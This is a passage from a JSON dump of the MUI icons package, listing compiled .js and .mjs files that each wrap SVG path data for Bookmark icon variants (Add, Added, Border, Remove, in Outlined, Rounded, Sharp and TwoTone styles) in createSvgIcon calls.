    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-2v2h-2V7h-2V5h2V3h2v2h2zm-2 14-7-3-7 3V3h9c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1z\"\n}), 'BookmarkAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-2v2h-2V7h-2V5h2V3h2v2h2zm-2 14-7-3-7 3V3h9c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1z\"\n}), 'BookmarkAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 17.97V10.9c-2.28-.46-4-2.48-4-4.9 0-.34.03-.68.1-1H7v12.97l5-2.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-2v2h-2V7h-2V5h2V3h2v2h2zm-4 10.97-5-2.14-5 2.14V5h6.1c.15-.74.46-1.42.9-2H7c-1.1 0-2 .9-2 2v16l7-3 7 3V10.9c-.32.07-.66.1-1 .1s-.68-.03-1-.1z\"\n}, \"1\")], 'BookmarkAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 17.97V10.9c-2.28-.46-4-2.48-4-4.9 0-.34.03-.68.1-1H7v12.97l5-2.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-2v2h-2V7h-2V5h2V3h2v2h2zm-4 10.97-5-2.14-5 2.14V5h6.1c.15-.74.46-1.42.9-2H7c-1.1 0-2 .9-2 2v16l7-3 7 3V10.9c-.32.07-.66.1-1 .1s-.68-.03-1-.1z\"\n}, \"1\")], 'BookmarkAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAdded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 21-7-3-7 3V5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1zM17.83 9 15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41z\"\n}), 'BookmarkAdded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAdded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 21-7-3-7 3V5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1zM17.83 9 15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41z\"\n}), 'BookmarkAdded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11v6.97l-5-2.14-5 2.14V5h6V3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V11zm.83-2L15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41z\"\n}), 'BookmarkAddedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11v6.97l-5-2.14-5 2.14V5h6V3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V11zm.83-2L15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41z\"\n}), 'BookmarkAddedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1v8.58c0 .72-.73 1.2-1.39.92L12 18l-5.61 2.4c-.66.29-1.39-.2-1.39-.92zm17.07-1.66c.39.39.39 1.02 0 1.41l-3.54 3.54c-.39.39-1.02.39-1.41 0l-1.41-1.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.83-2.83c.39-.4 1.02-.4 1.41-.01\"\n}), 'BookmarkAddedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5c0-1.1.9-2 2-2h7c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1v8.58c0 .72-.73 1.2-1.39.92L12 18l-5.61 2.4c-.66.29-1.39-.2-1.39-.92zm17.07-1.66c.39.39.39 1.02 0 1.41l-3.54 3.54c-.39.39-1.02.39-1.41 0l-1.41-1.41a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71 2.83-2.83c.39-.4 1.02-.4 1.41-.01\"\n}), 'BookmarkAddedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 21-7-3-7 3V3h9c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1zM17.83 9 15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41z\"\n}), 'BookmarkAddedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 21-7-3-7 3V3h9c-.63.84-1 1.87-1 3 0 2.76 2.24 5 5 5 .34 0 .68-.03 1-.1zM17.83 9 15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41z\"\n}), 'BookmarkAddedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 17.97V10.9c-2.28-.46-4-2.48-4-4.9 0-.34.03-.68.1-1H7v12.97l5-2.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.83 9 15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41zM17 17.97l-5-2.14-5 2.14V5h6.1c.15-.74.46-1.42.9-2H7c-1.1 0-2 .9-2 2v16l7-3 7 3V10.9c-.32.07-.66.1-1 .1s-.68-.03-1-.1z\"\n}, \"1\")], 'BookmarkAddedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkAddedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 17.97V10.9c-2.28-.46-4-2.48-4-4.9 0-.34.03-.68.1-1H7v12.97l5-2.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.83 9 15 6.17l1.41-1.41 1.41 1.41 3.54-3.54 1.41 1.41zM17 17.97l-5-2.14-5 2.14V5h6.1c.15-.74.46-1.42.9-2H7c-1.1 0-2 .9-2 2v16l7-3 7 3V10.9c-.32.07-.66.1-1 .1s-.68-.03-1-.1z\"\n}, \"1\")], 'BookmarkAddedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1z\"\n}), 'BookmarkBorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1z\"\n}), 'BookmarkBorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5v18l7-3 7 3zm-2 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5v18l7-3 7 3zm-2 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkBorderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 15-5-2.18L7 18V5h10z\"\n}), 'BookmarkBorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'BookmarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'BookmarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemove.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-6V5h6zm-2 3.9c-.32.07-.66.1-1 .1-2.76 0-5-2.24-5-5 0-1.13.37-2.16 1-3H7c-1.1 0-2 .9-2 2v16l7-3 7 3z\"\n}), 'BookmarkRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemove.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-6V5h6zm-2 3.9c-.32.07-.66.1-1 .1-2.76 0-5-2.24-5-5 0-1.13.37-2.16 1-3H7c-1.1 0-2 .9-2 2v16l7-3 7 3z\"\n}), 'BookmarkRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11v6.97l-5-2.14-5 2.14V5h6V3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V11zm4-4h-6V5h6z\"\n}), 'BookmarkRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11v6.97l-5-2.14-5 2.14V5h6V3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V11zm4-4h-6V5h6z\"\n}), 'BookmarkRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1m-2 4.9c-.32.07-.66.1-1 .1-2.76 0-5-2.24-5-5 0-1.13.37-2.16 1-3H7c-1.1 0-2 .9-2 2v14.48c0 .72.73 1.2 1.39.92L12 18l5.61 2.4c.66.28 1.39-.2 1.39-.92z\"\n}), 'BookmarkRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1m-2 4.9c-.32.07-.66.1-1 .1-2.76 0-5-2.24-5-5 0-1.13.37-2.16 1-3H7c-1.1 0-2 .9-2 2v14.48c0 .72.73 1.2 1.39.92L12 18l5.61 2.4c.66.28 1.39-.2 1.39-.92z\"\n}), 'BookmarkRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-6V5h6zm-2 3.9c-.64.13-1.32.14-2.02 0-1.91-.38-3.47-1.92-3.87-3.83-.32-1.53.07-2.97.89-4.07H5v18l7-3 7 3z\"\n}), 'BookmarkRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-6V5h6zm-2 3.9c-.64.13-1.32.14-2.02 0-1.91-.38-3.47-1.92-3.87-3.83-.32-1.53.07-2.97.89-4.07H5v18l7-3 7 3z\"\n}), 'BookmarkRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 17.97V10.9c-2.28-.46-4-2.48-4-4.9 0-.34.03-.68.1-1H7v12.97l5-2.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7h-6V5h6zm-4 10.97-5-2.14-5 2.14V5h6.1c.15-.74.46-1.42.9-2H7c-1.1 0-2 .9-2 2v16l7-3 7 3V10.9c-.32.07-.66.1-1 .1s-.68-.03-1-.1z\"\n}, \"1\")], 'BookmarkRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRemoveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 17.97V10.9c-2.28-.46-4-2.48-4-4.9 0-.34.03-.68.1-1H7v12.97l5-2.14z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7h-6V5h6zm-4 10.97-5-2.14-5 2.14V5h6.1c.15-.74.46-1.42.9-2H7c-1.1 0-2 .9-2 2v16l7-3 7 3V10.9c-.32.07-.66.1-1 .1s-.68-.03-1-.1z\"\n}, \"1\")], 'BookmarkRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'BookmarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2\"\n}), 'BookmarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5v18l7-3 7 3z\"\n}), 'BookmarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5v18l7-3 7 3z\"\n}), 'BookmarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 17.97 5-2.15 5 2.15V5H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v16l7-3 7 3V5c0-1.1-.9-2-2-2m0 14.97-5-2.14-5 2.14V5h10z\"\n}, \"1\")], 'BookmarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BookmarkTwoTone.mjs",
